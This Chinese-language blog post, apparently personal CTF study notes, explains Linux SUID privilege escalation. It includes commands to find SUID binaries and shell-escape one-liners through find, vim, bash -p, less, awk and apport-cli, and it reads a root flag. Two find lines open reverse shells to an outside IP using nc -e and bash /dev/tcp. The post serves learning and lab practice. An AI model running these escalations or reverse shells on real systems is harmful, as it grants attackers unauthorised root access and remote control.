Eur3ka's Studio.

SUID

2025/09/06
loading

仅做学习记录用

SUID原理

SUID旨在解决如何让普通用户执行root才能执行的命令 对于这个bash而言

1
2
augustus@GoodGames:~$ ls -la bash
-rwxr-xr-x 1 augustus augustus 1234376 Sep 6 03:22 bash

这就是一个很普通的bash 权限列表也是常见的rwx 而且是一个很常规的用户bash 但是经过如下的操作之后就变成了一个可以SUID提权的bash

1
2
3
4
5
root@3a453ab39d3d:~# chown root:root /home/augustus/bash 
root@3a453ab39d3d:~# chmod 4777 /home/augustus/bash
root@3a453ab39d3d:~# cd /home/augustus/
root@3a453ab39d3d:/home/augustus# ls -al bash
-rwsrwxrwx 1 root root 1234376 Sep 6 02:22 bash

先是将用户的这个bash所有者改为root 再赋予4777权限 4‌表示设置 SUID特殊权限 当文件被设置为SUID时 其他用户执行该文件时会临时拥有文件所有者的权限 777代表赋予其他用户可执行的权限

  • augustus 对于这个bash有执行权限(777了)
  • bash所有者为root

因此augustus用户可以执行这个bash 并使用-p参数即可以root来执行 至此完成SUID提权

1
2
3
augustus@GoodGames:~$ ./bash -p
bash-5.1# cat /root/root.txt
9e6c801a78a34c84067aabeef3737c03

搜集

两种不同的方法寻找 一种是直接匹配权限位是否带有s(或4开头)

1
2
3
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

另一种是用getcap命令查询特殊的SUID

1
getcap -r

最经常用的还是sudo

1
sudo -l

常用提权

find

1
2
3
4
5
6
# shell
find /etc/passwd -exec '/bin/sh' \;

# 反弹shell
find /etc/passwd -exec nc -e /bin/bash x.x.x.x port \;
find /etc/passwd -exec bash -c 'bash -i >& /dev/tcp/114.xxx.xxx.96/4444 0>&1' \;

vim

进入 vim 命令模式 通过 vim 拿到 shell

1
2
:set shell = '/bin/sh'
:shell

bash

赋予SUID权限之后

1
bash -p

less/more

在出现以下提示后 输入!ls 即可执行

1
2
3
4
5
6
7
8
WARNING: terminal is not fully functional
- (press RETURN)!ls
!llss!ls
CHANGELOG core maltrail-sensor.service plugins thirdparty
CITATION.cff docker maltrail-server.service requirements.txt trails
LICENSE h maltrail.conf sensor.py
README.md html misc

awk

1
awk 'BEGIN {system("/bin/bash")}'

apport

没崩溃文件那可以先制造一个

1
2
3
4
5
6
logan@devvortex:/var/crash$ sleep 20 &
[1] 2761
logan@devvortex:/var/crash$ kill -ABRT 2761
logan@devvortex:/var/crash$ ls
_usr_bin_sleep.1000.crash
[1]+ Aborted (core dumped) sleep 20

然后再进行利用

1
2
3
logan@devvortex: sudo /usr/bin/apport-cli -c /var/crash/_usr_bin_sleep.1000.crash
press V (view report)
!/bin/bash(直接输入 不用管屏幕显示的什么)
CATALOG
  1. 1. SUID原理
  2. 2. 搜集
  3. 3. 常用提权
    1. 3.1. find
    2. 3.2. vim
    3. 3.3. bash
    4. 3.4. less/more
    5. 3.5. awk
    6. 3.6. apport